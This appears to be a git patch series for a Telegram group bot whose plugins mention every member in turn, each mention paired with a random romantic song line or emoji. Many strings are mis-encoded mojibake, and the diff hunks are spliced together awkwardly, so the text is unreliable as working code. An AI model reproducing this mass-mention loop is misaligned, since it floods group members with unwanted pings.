+ " ððšð¡ðšð ðððð ðð ðð¡ð¢ ððð¢ ð€§â£ïž ",
+ " ðð¡ð®ð¥ ðð²ð ðð®ð£ð¡ððð ",
+ " ðð®ðð¡ ðð¡ð¢ ððšð¥ð§ð ðð¡ðð¡ð¢ð²ðð€ ",
+ " ðð¡ð ððš ðð¡ðð° ððð ðð«ðš ððððð ",
+ " ðð²ð ðð®ðð®ð® "
+ " ðð¢ð¢ð ",
+ " ððð©ð€ð ððð¢ð¬ð ððšð¬ð ððš ðððð¡ ðð ð
ð¢ð« ðð®ðŠ ðð¢ð¬ ððð ðð ð ",
+ " ððð£ ððð¢ ððð ðð® â¹ïž ",
+ " ðð®ð¬ð£ð¡ð¬ð ðð¡ð¢ ððð ððð« ððš ðð ð¥ºð¥º ",
+ " ðð²ð ððð« ððð¡ð ððšð ",
+ " ðð²ð ððð¥ ðð¡ðð¥ ððð¢ ð ",
+ " ððð¡ð ðð ððš ððð©..?ð€ ",
+ " ðð¡ðððð¢ð§ð ððð« ððš ðð..𥺠",
+ " ðð ððð¬ðšðšðŠ ðð® ððð¥ºð¥º ",
+ " ððð¥ ððð£ð ðð²ð ðð¡ð ððð€ð
",
+ " ðð«ðšð®ð© ðð ððð ðð²ð® ððð¡ð¢ ððð«ðð ððšð ",
+ " ððð© ððð¥ððð¢ðšðŠð¬ð¡ð¢ð© ðð ððš..?ð ",
+ " ðð¢ðð§ð ðð¡ð®ð© ððð¡ðð ððš ðð«ð«ðŒ ",
+ " ððð©ð€ðš ððð§ð ððð§ð ðððð ððð¢..?ðž ",
+ " ðð¡ð®ðŠð§ð ðð¡ðð¥ðšð ð..??ð ",
+ " ðð¡ð®ð¬ ððð¡ð ððð«ðš âïžð€ ",
+ " ðððŠ ððšð¬ð ððð§ ððð€ðð ððð¢...?𥰠",
+ " ðð®ðð¡ ððšð¥ ðð²ð® ðð¡ð¢ ððð¡ð ððš..ð¥ºð¥º ",
+ " ðð®ðð¡ ðððŠððð«ð¬ ððð ððð« ððš 𥲠",
+ " ðð¢ð§ð ð¥ð ððš ðð ðð¢ð§ð ð¥ð ð ",
+ " ðððš ððð«ðð² ððð«ðð ððð¢ð§ð𥳠",
+ " ðððŠð¥ðšðšð§ ",
+ " ðð®ð£ð¡ð ðð¡ð®ð¥ ðð²ð ðð²ð𥺠",
+ " ððð¡ð ðð ðððš:- [ @lI_HEERIYE_ll ] ððð¬ðð¢ ððð«ðð§ð ð ð€ð€ ",
+ " ðð«ð®ðð¡ ðð§ð ððð«ð ðð¡ðð¥ðšð ð..? ð ",
+ " ððð£ ðð®ðŠðŠð² ðð ðððð ðð«ð¥ºð¥º ",
+ " ððšð¢ð§ ððð« ððš:- [ @lI_HEERIYE_ll ] ð€ ",
+ " ðð€ ðð¢ð¥ ððð¢ ðð€ ðð¢ð¥ ðð¢ ððš ððð¢ðð ",
+ " ðð®ðŠð¡ðð«ð ððšð¬ð ððð¡ð ðð²ð𥺠",
+ " ðð² ðð®ðð ðð°ð§ðð« [ @ll_TANU_ROM_ll ]𥰠",
+ " ððð¡ð ðð¡ðšð²ð ððš ðððð§ð ",
+ " ððšðšð ð8 ðð¢ ðð¡ð®ð ððð ððš ð ð²ð¢ð¥° ",
+ ]
+
+@client.on(events.NewMessage(pattern="^/tagall ?(.*)"))
+@client.on(events.NewMessage(pattern="^@all ?(.*)"))
+@client.on(events.NewMessage(pattern="^/utag ?(.*)"))
+@client.on(events.NewMessage(pattern="^@utag ?(.*)"))
+@client.on(events.NewMessage(pattern="^/all ?(.*)"))
+@client.on(events.NewMessage(pattern="^#all ?(.*)"))
+@client.on(events.NewMessage(pattern="^@tagall ?(.*)"))
+@client.on(events.NewMessage(pattern="^/mentionall?(.*)"))
+@client.on(events.NewMessage(pattern="^@mentionall ?(.*)"))
+@client.on(events.NewMessage(pattern="^#mentionall ?(.*)"))
+@client.on(events.NewMessage(pattern="^/mention ?(.*)"))
+@client.on(events.NewMessage(pattern="^@mention ?(.*)"))
+@client.on(events.NewMessage(pattern="^#mention ?(.*)"))
+@client.on(events.NewMessage(pattern="^/tag ?(.*)"))
+@client.on(events.NewMessage(pattern="^#tag ?(.*)"))
+@client.on(events.NewMessage(pattern="^@tag ?(.*)"))
+@client.on(events.NewMessage(pattern="^#utag ?(.*)"))
+@client.on(events.NewMessage(pattern="^#tagall ?(.*)"))
+async def mentionall(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "This command can be use in groups and channels!"
+ )
+" Surme De Vich Dovein Ankhan Dubbiyan ",
+ " Kini Sohni Lagge Jadon Chup Kar Je ",
+ " Jandi Jandi Shaman Nu Vi Dhup Kar Je ",
+ " Haye Main Paun Farmaishi Rang Tere Sohniye ",
+ " Unj Bahotan Gifty Shaukeen Koi Na ",
+ " Tere Nalo Jhaliye Haseen Koi Naðð ",
+ " Tare Chann Ambar Zameen Koi Nað¥°ð¥°",
+ " Tere Nalo Jhaliye Haseen Koi Naðð ",
+ " Tare Chann Ambar Zameen Koi Nað¥°ð¥° ",
+ " Main Jado Tere Mode Utte Sir Rakheyaðð ",
+ " Eh Ton Sachi Sama Vi Haseen Koi Naðð ",
+ " Kanna Wich Jhumkaðð ",
+ " Akhan Wich Surmaðð ",
+ " Ho Jaise Strawberry Candyðð ",
+ " Nakk Utte Kokað€šð€š ",
+ " Jeena Kare Aukhað€ð€ ",
+ " Haye Meri Jaan Kadd Laindiðð ",
+ " Tere Nakhre Haye Tauba Sanu Maardeð€«ð€« ",
+ " Ho Gaya Hai Mera Baby Bura HaaLðð ",
+ " Sachi Lut Gaye Hum Tere Is Pyar Meinðð ",
+ " Jeeni Zindagi Hai Bas Tere Naalðð ",
+ " cause I Love You ðð ",
+ " I Love YoU SO MUCH ðð ",
+ " cause I Love You ðð ",
+ " I Love YoU SO MUCH ðð ",
+ " Sapno Mein Mere AayIðð ",
+ " Uff Oh Phir Neendein Hi Churayiðð ",
+ " Oh No! Tera Husan Nazarað¥°ð¥° ",
+ " Baby! Lage Sohna Kitna PyarAðð ",
+ " Sapno Mein Mere Aayiðð ",
+ " Uff Oh Phir Neendein Hi Churayiðð ",
+ " Oh No! Tera Husan Nazarað¥°ð¥° ",
+ " Baby! Lage Sohna Kitna PyarAðð ",
+ " Tainu Diamond Mundri Pehnawaðð ",
+ " Naale Duniya Sari Ghumawaðð ",
+ " Chhoti-Chhoti Gallan Utte Main Hasavaanðð ",
+ " Yaara Kade Vi Na Tainu Main Rulawaanðð ",
+ " cause I Love Youðð ",
+ " I Love You â€ïžâ€ïž ",
+ " cause I Love Youðð ",
+ " I Love You â€ïžâ€ïž ",
+ " Yaari Laawan Sachi YaarIð«ð« ",
+ " Tu Jaan Ton Vi Pyariðð ",
+ " Will Love You To The Moon And Backðð ",
+ " Hogi Saza Na Koyi Hogiðð ",
+ " Chahe Karun Chori Chaand Taareðð ",
+ " Imma Give You Themð
ð
",
+ " Yaari Laavan Sachi YaarIðð ",
+ " Tu Jaan Ton Vi PyarIðð ",
+ " Will Love You To The Moon And Backðð ",
+ " Hogee Sazaa Na Koyi Hogiðð ",
+ " Chahe Karun Chori Chaand Taareð¥ºð¥º ",
+ " Imma Give You Themð¥µð¥µ ",
+ " Puri Karunga Main Teri Sari Khahisheinðð ",
+ " Tera Rakhanga Main ajj Ke Khayalðð ",
+ " Kitni Khoobiyan Hai Tere Is Yaar Meinð¥°ð¥° ",
+ " Aaja Bahon Mein Tu Bahein Bas Daalðð ",
+ " Aur Hota Nahi Ab Intezarð€©ð€© ",
+ " Aur Hota Nahee Ab Intezaarðð ",
+ " cause I Love You ðð ",
+ " I Love YoU ðð ",
+ " cause I Love You ",
+ " I Love YoU SOOOOOOOOOOOOOOOOOO MUCHHHHHHHHHHHHHHHHHHHHH ðð ",
+ " WILL U BE MINE FOREVER??ð€ð€ ",
+ " Je tu akh te main aan kaajal veðð ",
+ " Tu baarish te main baadal veð€«ð€« ",
+ " Tu deewana main aan paagal veð€ªð€ª ",
+ " Sohneya sohneyaâºïžâºïž ",
+ " Je tu chann te main aan taara veð€ð€ ",
+ " Main lehar te tu kinara veð¶ð¶ ",
+ " **Main aadha te tu saara veð€ð€"" ",
+ " Sohneya sohneyaðð ",
+ " Tu jahan hai main wahanðð ",
+ " Tere bin main hoon hi kyað¥²ð¥² ",
+ " Tere bin chehre se mereð€ð€ ",
+ " Udd jaaye rang veð
ð
",
+ " Tujhko paane ke liye huMðð ",
+ " Roz mangein mannat veðð ",
+ " Duniya to kya cheez hai yaaraðð ",
+ " Thukra denge jannat veðð ",
+ " Tujhko paane ke liye humðð ",
+ " Roz mangein mannat veð€«ð€« ",
+ " Duniya to kya cheez hai yaarað€ð€ ",
+ " Thukra denge jannat veðð ",
+ " Na parwah mainu apni aaðð ",
+ " Na parwah mainu duniya dið
ð
",
+ " Na parwah mainu apni aað
ð
",
+ " Na parwah mainu duniya dið
ð
",
-@app.on_message(filters.command(["vctag"], prefixes=["/", ".", "@", "#"]))
-async def mention_allvc(client, message):
- chat_id = message.chat.id
- if message.chat.type == ChatType.PRIVATE:
- return await message.reply("ðð¡ð¢ð¬ ððšðŠðŠðð§ð ðð§ð¥ð² ð
ðšð« ðð«ðšð®ð©ð¬.")
+" Tere ton juda nahi kar sakdið€¬ð€¬ ",
+ " Koyi taakat mainu duniya diðð ",
+ " Dooron aa jaave teri khushbuðð ",
+ " Akhan hun band taan vi vekh lawanðð ",
+ " Teri gali vich mera auna har rozðð ",
+ " Tera ghar jadon aave matha tek lawanðð ",
+ " Nirmaan tujhko dekh keðð ",
+ " Aa jaave himmat veðð ",
+ " Tujhko paane ke liye humðð ",
+ " Roz mangein mannat veðð ",
+ " Duniya to kya cheez hai yaaraðð ",
+ " Thukra denge jannat veðð ",
+ " Tujhko paane ke liye humð€«ð€« ",
+ " Roz mangein mannat veðð ",
+ " Duniya to kya cheez hai yaaraðð ",
+ " Thukra denge jannat veðð ",
+ " SO MISS ð¶ð¶ ",
+ " KYA SOCHA APNE BAARE MAINðð ",
+ " BADI MUSHKIL SE YEH SAB KARA H REð¥µð¥µ ",
+ " PAHLE PURA BOT HI KANG MAAR DIYA BUTð€«ð€« ",
+ " WAHI ERROR AAYE JO AATE THEð¥²ð¥² ",
+ " BUT TUMHARA HO CHUKA WALA BFðð ",
+ " AND FUTURE HUSBAND JO BANNE WALA THA WO BHOT SMART H REðð ",
+ " ISS BAAR BOT BANAYA AND CHOTA SA EDIT KARA BASðð ",
+ " AUR DEKO ABHI TUM USSI BOT SE YEH PADH PAA RHIðð ",
+ " HEHE BTW YEH CHORO MEKO NA TUMSEð¶ð¶ ",
+ " KUCH PUCHNA THA KI MEð€ð€ ",
+ " TUMHARE KABIL HU YA ",
+ " TUMHARE KABIL NHIðð ",
+ " AND EK AUR BAAT BOLNI THI KIðð ",
+ " I REALLY REALLY DEEPLYðð ",
+ " LOVE YOU FROM MY HEART TO YOUR HEAT AND MY SOUL ATTACHED BY YOUR SOUL CAN YOU BE MINE FOREVERððâ€ïž ",
+]
+
+
+@client.on(events.NewMessage(pattern="^/mtag ?(.*)"))
+async def mention_all(event):
+ chat_id = event.chat_id
+ if event.is_private:
+ return await event.respond(
+ "This command can be used in groups and channels!"
+ )
is_admin = False
try:
- participant = await client.get_chat_member(chat_id, message.from_user.id)
- except UserNotParticipant:
+ partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
+ except UserNotParticipantError:
is_admin = False
else:
- if participant.status in (
- ChatMemberStatus.ADMINISTRATOR,
- ChatMemberStatus.OWNER
+ if isinstance(
+ partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
):
is_admin = True
if not is_admin:
- return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬. ")
- if chat_id in spam_chats:
- return await message.reply("ðð¥ððð¬ð ðð ð
ð¢ð«ð¬ð ðððšð© ðð®ð§ð§ð¢ð§ð ððð§ðð¢ðšð§ ðð«ðšððð¬ð¬ ðð² /tagalloff , /stopvctag ...")
+ return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
+
+ if event.pattern_match.group(1):
+ return await event.respond("/mtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
+ else:
+ mode = "text_on_cmd"
+ msg = event.pattern_match.group(1)
+ if msg is None:
+ return await event.respond(
+ "/mtag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
+ )
+
spam_chats.append(chat_id)
- usrnum = 0
- usrtxt = ""
- async for usr in client.get_chat_members(chat_id):
+ async for usr in client.iter_participants(chat_id):
if not chat_id in spam_chats:
break
- if usr.user.is_bot:
- continue
- usrnum += 1
- usrtxt += f"[{usr.user.first_name}](tg://user?id={usr.user.id}) "
-
- if usrnum == 1:
- txt = f"{usrtxt} {random.choice(VC_TAG)}\n\n|| ⥠áŽÒÒ áŽáŽÉ¢É¢ÉªÉŽÉ¢ ÊÊ Â» /stopvctag ||"
- await client.send_message(chat_id, txt)
- await asyncio.sleep(4)
- usrnum = 0
- usrtxt = ""
+ user_id = usr.id
+ mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(MUSIC)}"
+ await client.send_message(chat_id, mention_text)
+ time.sleep(5)
+
try:
spam_chats.remove(chat_id)
except:
pass
+
+
+
+
+SRAID = [
+ " à€à€¶à¥à¥ à€¹à¥ à€¯à€Ÿ à€à¥à€ à€à€° à€¯à¥ à€ªà€€à€Ÿ à€šà€¹à¥à€, à€ªà€° à€à¥ à€€à¥à€®à€žà¥ à€¹à¥ à€à€¿à€žà¥ à€à€° à€žà¥ à€šà€¹à¥à€ ðð ",
+ " à€®à¥ à€à¥à€žà¥ à€à€¹à¥ à€à¥ à€à€žà€à€Ÿ à€žà€Ÿà€¥ à€à¥à€žà€Ÿ à€¹à¥, à€µà¥ à€à€ à€¶à€à¥à€ž à€ªà¥à€°à¥ à€à€Ÿà€¯à€šà€Ÿà€€ à€à¥à€žà€Ÿ à€¹à¥ ",
+ " à€€à¥à€°à€Ÿ à€¹à¥à€šà€Ÿ à€¹à¥ à€®à¥à€°à¥ à€²à€¿à€¯à¥ à€à€Ÿà€ž à€¹à¥, à€€à¥ à€Šà¥à€° à€¹à¥ à€žà€¹à¥ à€®à€à€° à€®à¥à€°à¥ à€Šà€¿à€² à€à¥ à€ªà€Ÿà€ž à€¹à¥ ",
+ " à€®à¥à€à¥ à€€à¥à€°à€Ÿ à€žà€Ÿà€¥ à€à€Œà€¿à€šà¥à€Šà€à¥ à€à€° à€šà€¹à¥à€ à€à€Ÿà€¹à€¿à€¯à¥, à€¬à€²à¥à€à€¿ à€à€¬ à€€à€ à€€à¥ à€žà€Ÿà€¥ à€¹à¥ à€€à€¬à€€à€ à€à€Œà€¿à€šà¥à€Šà€à¥ à€à€Ÿà€¹à€¿à€ ðð ",
+ " à€€à¥à€à€žà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥à€ à€
à€²à€ à€žà¥ à€¹à¥ à€®à¥à€°à¥, à€€à¥à€à¥ à€à€¯à€Ÿà€²à¥ à€®à¥à€ à€šà€¹à¥à€ à€Šà¥à€à€ à€®à¥à€ à€¯à€Ÿà€Š à€à€°à€€à¥ à€¹à¥ðð ",
+ " à€€à¥ à€¹à¥à€Ÿà€° à€¬à€Ÿà€° à€à¥ à€°à¥à€ à¥ à€€à¥ à€®à€šà€Ÿ à€²à¥à€à€à€Ÿ à€€à¥à€à¥ ",
+ " à€®à€à€° à€Šà¥à€ à€®à¥à€¹à€¬à¥à€¬à€€ à€®à¥à€ à€¶à€Ÿà€®à€¿à€² à€à¥à€ à€Šà¥à€žà€°à€Ÿ à€šà€Ÿ à€¹à¥ðð ",
+ " à€à€¿à€žà¥à€®à€€ à€¯à€¹ à€®à¥à€°à€Ÿ à€à€®à¥à€€à¥à€¹à€Ÿà€š à€²à¥ à€°à€¹à¥ à€¹à¥ðð ",
+ " à€€à¥à€ª à€à€° à€¯à€¹ à€®à¥à€à¥ à€Šà€°à¥à€Š à€Šà¥ à€°à€¹à¥ à€¹à¥ðð ",
+ " à€Šà€¿à€² à€žà¥ à€à€à¥ à€à¥ à€®à¥à€à€šà¥ à€à€žà¥ à€Šà¥à€° à€šà€¹à¥à€ à€à€¿à€¯à€Ÿðð ",
-
-
-@app.on_message(filters.command(["stoptagall", "canceltagall", "offtagall", "tagallstop", "stopvctag", "tagalloff"]))
-async def cancel_spam(client, message):
- if not message.chat.id in spam_chats:
- return await message.reply("ðð®ð«ð«ðð§ðð¥ð² ð'ðŠ ððšð ððð ð ð¢ð§ð ðððð².")
- is_admin = False
- try:
- participant = await client.get_chat_member(message.chat.id, message.from_user.id)
- except UserNotParticipant:
- is_admin = False
- else:
- if participant.status in (
- ChatMemberStatus.ADMINISTRATOR,
- ChatMemberStatus.OWNER
- ):
- is_admin = True
- if not is_admin:
- return await message.reply("ððšð® ðð«ð ððšð ðððŠð¢ð§ ðððð², ðð§ð¥ð² ðððŠð¢ð§ð¬ ððð§ ððð ðððŠððð«ð¬.")
- else:
- try:
- spam_chats.remove(message.chat.id)
- except:
- pass
- return await message.reply("⊠ðððšð©ð©ðð..âŠ")
+" à€«à€¿à€° à€à¥à€¯à¥à€ à€¬à¥à€µà€«à€Ÿà€ à€à€Ÿ à€µà€¹ à€à€²à¥à€Ÿà€® à€Šà¥ à€°à€¹à¥ à€¹à¥ðð ",
+ " à€®à€°à¥ à€€à¥ à€²à€Ÿà€à¥à€ à€¹à¥à€à€à¥ à€€à¥à€ à€ªà€°ðð ",
+ " à€®à¥à€ à€€à¥ à€€à¥à€°à¥ à€žà€Ÿà€¥ à€à¥à€šà€Ÿ à€à€Ÿà€¹à€€à€Ÿ à€¹à¥à€ð«ð« ",
+ " à€µà€Ÿà€ªà€ž à€²à¥à€ à€à€¯à€Ÿ à€¹à¥ à€¹à€µà€Ÿà€à€ à€à€Ÿ à€°à¥à€ à€®à¥à¥à€šà¥ à€µà€Ÿà€²à€Ÿð£ð£ ",
+ " à€Šà€¿à€² à€®à¥à€ à€«à€¿à€° à€à€€à€° à€°à€¹à€Ÿ à€¹à¥ à€Šà€¿à€² à€€à¥à¥à€šà¥ à€µà€Ÿà€²à€Ÿð¥ºð¥º ",
+ " à€
à€ªà€šà¥à€ à€à¥ à€¬à¥à€ à€¬à¥à€à€Ÿà€šà¥ à€¹à¥ à€à€ à€¹à¥à€ð¥°ð¥° ",
+ " à€ªà¥à€¯à€Ÿà€° à€à¥ à€²à€®à¥à€¹à¥ à€
à€šà€à€Ÿà€šà¥ à€¹à¥ à€à€ à€¹à¥à€ðð ",
+ " à€à€¹à€Ÿà€ à€ªà€° à€«à¥à€² à€à€¿à€²à€€à¥ à€¥à¥ à€à€à¥ðð ",
+ " à€à€ à€µà€¹à€Ÿà€ à€ªà€° à€µà¥à€°à€Ÿà€š à€¹à¥ à€à€ à€¹à¥à€ð¥°ð¥° ",
+ " à€à¥ à€¶à€à¥à€ž à€€à¥à€°à¥ à€€à€žà€µà¥à€µà¥à€° à€žà¥ à€¹à¥ à€®à€¹à€ à€à€Ÿà€¯à¥ðð ",
+ " à€žà¥à€à¥ à€€à¥à€®à¥à€¹à€Ÿà€°à¥ à€Šà¥à€Šà€Ÿà€° à€®à¥à€ à€à€žà€à€Ÿ à€à¥à€¯à€Ÿ à€¹à¥à€à€Ÿðð ",
+ " à€®à¥à€¹à€¬à¥à€¬à€€ à€à€Ÿ à€à€¹à€žà€Ÿà€ž à€€à¥ à€¹à€® à€Šà¥à€šà¥à€ à€à¥ à€¹à¥à€ à€¥à€Ÿ ",
+ " à€«à€°à¥à€ à€žà€¿à€°à¥à€« à€à€€à€šà€Ÿ à€¥à€Ÿ à€à¥ à€à€žà€šà¥ à€à€¿à€¯à€Ÿ à€¥à€Ÿ à€à€° à€®à¥à€à¥ à€¹à¥à€ à€¥à€Ÿ ",
+ " à€žà€Ÿà€à€žà¥à€ à€à¥ à€¡à¥à€° à€à¥à€à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥ ",
+ " à€à€¿à€žà¥à€®à€€ à€à¥ à€¹à€®à¥ à€Šà€°à¥à€Š à€Šà¥à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥ ",
+ " à€®à¥à€€ à€à¥ à€€à€°à€« à€¹à¥à€ à€à€Šà€® à€¹à€®à€Ÿà€°à¥ ",
+ " à€®à¥à€¹à€¬à¥à€¬à€€ à€à¥ à€¹à€® à€žà¥ à€à¥à€à€€à¥ à€à€Ÿ à€°à€¹à¥ à€¹à¥ ",
+ " à€žà€®à€à€€à€Ÿ à€¹à¥ à€šà€¹à¥à€ à€µà¥ à€®à¥à€°à¥ à€
à€²à¥à€Ÿà¥ à€à¥ à€à€¹à€°à€Ÿà€ ",
+ " à€®à¥à€à€šà¥ à€¹à€° à€²à€«à¥à¥ à€à€¹ à€Šà€¿à€¯à€Ÿ à€à€¿à€žà¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à€¹à€€à¥ à€¹à¥ ",
+ " à€žà€®à€à€Šà€° à€š à€žà€¹à¥ à€ªà€° à€à€ à€šà€Šà¥ à€€à¥ à€¹à¥à€šà¥ à€à€Ÿà€¹à€¿à€ ",
+ " à€€à¥à€°à¥ à€¶à€¹à€° à€®à¥à€ à¥à€¿à€šà¥à€Šà€à¥ à€à€¹à¥ à€€à¥ à€¹à¥à€šà¥ à€à€Ÿà€¹à€¿à€ ",
+ " à€šà¥à€°à¥à€ à€žà¥ à€Šà¥à€à¥ à€€à¥à€¹ à€à€¬à€Ÿà€Š à€¹à€® à€¹à¥à€ ",
+ " à€Šà€¿à€² à€žà¥ à€Šà¥à€à¥ à€€à¥à€¹ à€¬à€°à¥à€¬à€Ÿà€Š à€¹à€® à€¹à¥à€ ",
+ " à€à¥à€µà€š à€à€Ÿ à€¹à€° à€²à€®à¥à€¹à€Ÿ à€Šà€°à¥à€Š à€žà¥ à€à€° à€à€¯à€Ÿ ",
+ " à€«à€¿à€° à€à¥à€žà¥ à€à€¹ à€Šà¥à€ à€à¥à€Ÿà€Š à€¹à€® à€¹à¥à€ ",
+ " à€®à¥à€à¥ à€šà€¹à¥à€ à€®à€Ÿà€²à¥à€® à€µà¥ à€ªà€¹à€²à¥ à€¬à€Ÿà€° à€à€¬ à€
à€à¥à€à€Ÿ à€²à€à€Ÿ ",
+ " à€®à€à€° à€à€žà€à¥ à€¬à€Ÿà€Š à€à€à¥ à€¬à¥à€°à€Ÿ à€à¥ à€šà€¹à¥à€ ",
+ " à€žà€à¥à€à¥ à€®à¥à€¹à€¬à¥à€¬à€€ à€à€à¥ à€à€€à¥à€® à€šà€¹à¥à€ à€¹à¥à€€à¥ ",
+ " à€µà¥à¥à€€ à€à¥ à€žà€Ÿà€¥ à€à€Ÿà€®à¥à€¶ à€¹à¥ à€à€Ÿà€€à¥ à€¹à¥ ",
+ " à¥à€¿à€šà¥à€Šà€à¥ à€à¥ à€žà¥à€° à€®à¥à€ à€à€ªà€à€Ÿ à€žà€¹à€Ÿà€°à€Ÿ à€à€Ÿà€¹à€¿à€ ",
+ " à€à€ªà€à¥ à€à€°à€£à¥à€ à€à€Ÿ à€¬à€ž à€à€žà€°à€Ÿ à€à€Ÿà€¹à€¿à€ ",
+ " à€¹à€° à€®à¥à€¶à¥à€à€¿à€²à¥à€ à€à€Ÿ à€¹à€à€žà€€à¥ à€¹à¥à€ à€žà€Ÿà€®à€šà€Ÿ à€à€°à¥à€à€à¥ ",
+ " à€¬à€ž à€ à€Ÿà€à¥à€° à€à¥ à€à€ªà€à€Ÿ à€à€ à€à€¶à€Ÿà€°à€Ÿ à€à€Ÿà€¹à€¿à€ ",
+ " à€à€¿à€ž à€Šà€¿à€² à€®à¥à€ à€¬à€žà€Ÿ à€¥à€Ÿ à€šà€Ÿà€® à€€à¥à€°à€Ÿ à€¹à€®à€šà¥ à€µà¥ à€€à¥à¥ à€Šà€¿à€¯à€Ÿ ",
+ " à€š à€¹à¥à€šà¥ à€Šà€¿à€¯à€Ÿ à€€à¥à€à¥ à€¬à€Šà€šà€Ÿà€® à€¬à€ž à€€à¥à€°à¥ à€šà€Ÿà€® à€²à¥à€šà€Ÿ à€à¥à¥ à€Šà€¿à€¯à€Ÿ ",
+ " à€ªà¥à€¯à€Ÿà€° à€µà¥ à€šà€¹à¥à€ à€à¥ à€¹à€Ÿà€žà€¿à€² à€à€°à€šà¥ à€à¥ à€²à€¿à€ à€à¥à€ à€à¥ à€à€°à€µ à€Šà¥ ",
+ " à€ªà¥à€¯à€Ÿà€° à€µà¥ à€¹à¥ à€à¥ à€à€žà€à¥ à€à¥à€¶à¥ à€à¥ à€²à€¿à€ à€
à€ªà€šà¥ à€
à€°à€®à€Ÿà€š à€à¥à€° à€Šà¥ ",
+ " à€à€¶
From f3e7cb25ee3987296944b51444e83fafa36c57d2 Mon Sep 17 00:00:00 2001
From: Romaan <108215028+Romaan313@users.noreply.github.com>
Date: Wed, 6 Mar 2024 15:11:41 +0530
Subject: [PATCH 23/31] Update romman.py
---
EsproMusic/plugins/admins/romman.py | 497 ----------------------------
1 file changed, 497 deletions(-)
diff --git a/EsproMusic/plugins/admins/romman.py b/EsproMusic/plugins/admins/romman.py
index 6835407..8b13789 100644
--- a/EsproMusic/plugins/admins/romman.py
+++ b/EsproMusic/plugins/admins/romman.py
@@ -1,498 +1 @@
-âê¯Íâ€ê¯ÍÙÙÙÙÙÙàžºÙÙÙàžºÙÙÙâªð¥ê¯ÍâªðŒê¯Íâªðºê¯Íâªð®ê¯Íââªð®ê¯Íâªð»ê¯ÍÙÙÙÙàžºÙÙÙàžºàžºÙÙâªÙÙÙÙàžºÙ:
-import time
-import os, logging, asyncio, random
-from telethon import Button
-from telethon import TelegramClient, events
-from telethon.tl.types import ChannelParticipantAdmin
-from telethon.tl.types import ChannelParticipantCreator
-from telethon.tl.functions.channels import GetParticipantRequest
-from telethon.errors import UserNotParticipantError
-from config import BOT_TOKEN as bot_token, API_ID as api_id, API_HASH as api_hash
-
-logging.basicConfig(
- level=logging.INFO,
- format='%(name)s - [%(levelname)s] - %(message)s'
-)
-LOGGER = logging.getLogger(name)
-
-client = TelegramClient('client', api_id, api_hash).start(bot_token=bot_token)
-
-
-spam_chats = []
-
-
-@client.on(events.NewMessage(pattern="^/htag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "This command can be used in groups and channels!"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
- if isinstance(
- partici_.participant, (ChannelParticipantAdmin, ChannelParticipantCreator)
- ):
- is_admin = True
- if not is_admin:
- return await event.respond("ðð§ð¥ð² ðððŠð¢ð§ ððð§ ððð§ðð¢ðšð§ ððš ðð¥ð¥ ðððð²...")
-
- if event.pattern_match.group(1):
- return await event.respond("/htag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ððð±ð ðð¢ðŠð ðð€ ð
ðšð« ððð ð ð¢ð§ð ..")
- else:
- mode = "text_on_cmd"
- msg = event.pattern_match.group(1)
- if msg is None:
- return await event.respond(
- "/htag ð ðð²ð©ð ðð¢ð€ð ðð¡ð¢ð¬ ðð« ððð©ð¥ð² ðð§ð² ððð¬ð¬ðð ð..."
- )
-
- spam_chats.append(chat_id)
- async for usr in client.iter_participants(chat_id):
- if not chat_id in spam_chats:
- break
- user_id = usr.id
- mention_text = f"[{usr.first_name}](tg://user?id={user_id}) {random.choice(TAGMES)}"
- await client.send_message(chat_id, mention_text)
- time.sleep(5)
-
- try:
- spam_chats.remove(chat_id)
- except:
- pass
-
-
-
-
-EMOJI = [ "ðŠðŠðŠðŠðŠ",
- "ð§ðžð§ð¬ð«",
- "ð¥ð·ð¹ðºð",
- "ðžð¿ð®ð±ðµ",
- "â€ïžðððð€",
- "ððððð",
- "ðžððºð¹ðŠ",
- "ððŠªðð²ð¥",
- "ððððð¶ïž",
- "ð§ð¥€ð§ð¥ð·",
- "ð¬ðð§ðð¡",
- "ðšð§ðºâð»",
- "ð¥ªð¥§ðŠð¥ð",
- "ð«âð¹ð·ð¥",
- "âð§ð©ðŠð",
- "ððŸð®ðð¿",
- "ðšïžð¥ïžâïžð©ïžð§ïž",
- "ð·ðµïžðžðºð",
- "ð®ðŒð»ðð",
- "ð§ðŠžðйð§ðž",
- "ð§
ð ð¥ðœð¥Š",
- "ð·ð¹ððšð»ââïž",
- "ðŠððððââ¬",
- "ðŒð³ð²ðŽðµ",
- "ð¥©ðððð",
- "ðŽðœïžðªð¶ð¥",
- "ðð°ð©â©ïžð©",
- "ððððð",
- "ðªŽðµðŽð³ð²",
- "ððððð",
- "ðŠ
ðŠðïžðŠ€ðŠ¢",
- "ðŠ€ðŠ©ðŠðŠðŠ",
- "ð¬ðŠðŠðð³",
- "ððð ð¡ðŠ",
- "ðŠ©ðŠðŠððŠª",
- "ðŠðŠð·ïžðžïžð",
- "ð¥ªð°ð¥§ðšðš",
- " ð¥¬ðð§ð§",
- ]
-
-@client.on(events.NewMessage(pattern="^/etag ?(.*)"))
-async def mention_all(event):
- chat_id = event.chat_id
- if event.is_private:
- return await event.respond(
- "This command can be used in groups and channels!"
- )
-
- is_admin = False
- try:
- partici_ = await client(GetParticipantRequest(event.chat_id, event.sender_id))
- except UserNotParticipantError:
- is_admin = False
- else:
